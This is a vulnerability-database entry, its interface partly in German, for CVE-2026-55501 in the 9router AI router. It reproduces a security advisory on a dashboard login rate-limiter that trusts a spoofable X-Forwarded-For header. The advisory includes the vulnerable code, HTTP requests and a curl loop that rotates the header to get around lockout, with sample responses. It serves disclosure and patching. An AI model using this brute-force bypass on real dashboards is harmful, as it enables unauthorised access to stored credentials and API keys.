CVE-2026-55501
highPriorität · verfolgen · 0EPSS 0.004 · 32. PerzentilEUUSEPSS · bewertet 2026-10-27
9Router is an AI router & token saver. Prior to 0.4.80, the dashboard login rate limiter in src/lib/auth/loginLimiter.js derives the client identity from the attacker-controlled X-Forwarded-For HTTP header, and src/app/api/auth/login/route.js uses that spoofable value for checkLock and recordFail. A remote attacker can rotate the X-Forwarded-For value on each login attempt to receive a fresh rate-limit bucket, bypass the 5-attempt threshold and progressive lockout durations, and perform unlimited brute-force attempts against the dashboard password. This issue is fixed in version 0.4.80.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.7–7.3
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (2)
Betroffene Produkte und Versionsbereiche.
Advisories (1)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-7cfm-pqrj-xgq79router: Login brute-force protection bypass via spoofed X-Forwarded-For header2026-07-06ghsa · osvUS
## Summary The 9router dashboard login rate limiter derives the client identity from the attacker-controlled `X-Forwarded-For` HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the `X-Forwarded-For` value on each login attempt and receive a fresh rate-limit bucket every time. This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective. ## Details | Component | File | Note | | ---------------------------- | --------------------------------- | --------------------------------------------------------------------------- | | Dashboard login rate limiter | `src/lib/auth/loginLimiter.js` | Uses `X-Forwarded-For` as the client identity without a trusted-proxy check | | Dashboard login route | `src/app/api/auth/login/route.js` | Calls `checkLock()` and `recordFail()` using the spoofable client identity | #### Vulnerable Code `src/lib/auth/loginLimiter.js`: ```js export function getClientIp(request) { const xff = request.headers.get("x-forwarded-for"); if (xff) return xff.split(",")[0].trim(); return request.headers.get("x-real-ip") || "unknown"; } ``` The returned value is used as the key for the in-memory rate-limit state: ```js const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt } ``` The login route uses this value when checking and recording failed login attempts: ```js export async function POST(request) { const ip = getClientIp(request); const lock = checkLock(ip); if (lock.locked) { return NextResponse.json( { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` }, { status: 429 } ); } // ... password validation ... recordFail(ip); } ``` Because `X-Forwarded-For` is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations. ## PoC ### Step 1 — Baseline: rate limiter triggers when the client identity is stable Send repeated failed login attempts with the same `X-Forwarded-For` value: ```http POST /api/auth/login HTTP/1.1 Host: localhost:20128 Content-Type: application/json X-Forwarded-For: 1.1.1.1 {"password":"wrong-password"} ``` Observed behavior: | Attempt | Response | | ------- | ----------------------------------------------------- | | 1 | `Invalid password. 4 attempt(s) left before lockout.` | | 2 | `Invalid password. 3 attempt(s) left before lockout.` | | 3 | `Invalid password. 2 attempt(s) left before lockout.` | | 4 | `Invalid password. 1 attempt(s) left before lockout.` | | 5 | `Too many failed attempts. Try again in 30s.` | | 6 | `Too many failed attempts. Try again in 30s.` | This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket. ### Step 2 — Bypass: rotate `X-Forwarded-For` on each request Send failed login attempts while changing the `X-Forwarded-For` value for every request: ```bash for i in $(seq 1 10); do curl -s -X POST "http://localhost:20128/api/auth/login" \ -H "Content-Type: application/json" \ -H "X-Forwarded-For: 10.0.0.$i" \ -d '{"password":"wrong-password"}' echo done ``` Observed response for every request: ```json { "error": "Invalid password. 4 attempt(s) left before lockout.", "remainingBeforeLock": 4 } ``` The counter resets to the initial state on every request, and the lockout is never triggered. ### Step 3 — Impact amplifier: default dashboard password If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate. Example request: ```http POST /api/auth/login HTTP/1.1 Host: localhost:20128 Content-Type: application/json X-Forwarded-For: 99.99.99.99 {"password":"<default-dashboard-password>"} ``` Observed response on a default installation: ```http HTTP/1.1 200 OK Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax ``` ```json { "success": true } ``` The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key. ## Attack Scenario 1. A remote attacker identifies a publicly reachable 9router dashboard. 2. The attacker sends repeated login attempts to `/api/auth/login`. 3. For each attempt, the attacker changes the `X-Forwarded-For` header value. 4. 9router treats each request as a different client and assigns a fresh rate-limit bucket. 5. The attacker can continue brute-force attempts without triggering the configured lockout. 6. If the instance uses a weak or default dashboard password, the attacker can gain administrative access. ## Impact A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password. If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to: * Access configured provider credentials and API keys. * Change dashboard and authentication settings. * Disable login protection if the application allows it. * Create persistent API keys or other long-lived access tokens. * Modify application configuration. * Chain the access with other server-side functionality exposed by the dashboard.
auch bekannt als (3)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (10)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/decolua/9router/commit/7648c3412b403a29f04967c4b4e9725e228791d4cnnvd
- https://github.com/decolua/9router/releasesPatchcnnvd
- https://github.com/decolua/9router/releases/tag/v0.4.80cnnvd
- https://github.com/decolua/9router/security/advisories/GHSA-7cfm-pqrj-xgq7cnnvd
- https://github.com/decolua/9router/commit/7648c3412b403a29f04967c4b4e9725e228791d4enisa_euvd
- https://github.com/decolua/9router/releases/tag/v0.4.80enisa_euvd
- https://github.com/decolua/9router/security/advisories/GHSA-7cfm-pqrj-xgq7enisa_euvd
- https://github.com/decolua/9router/commit/7648c3412b403a29f04967c4b4e9725e228791d4nvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan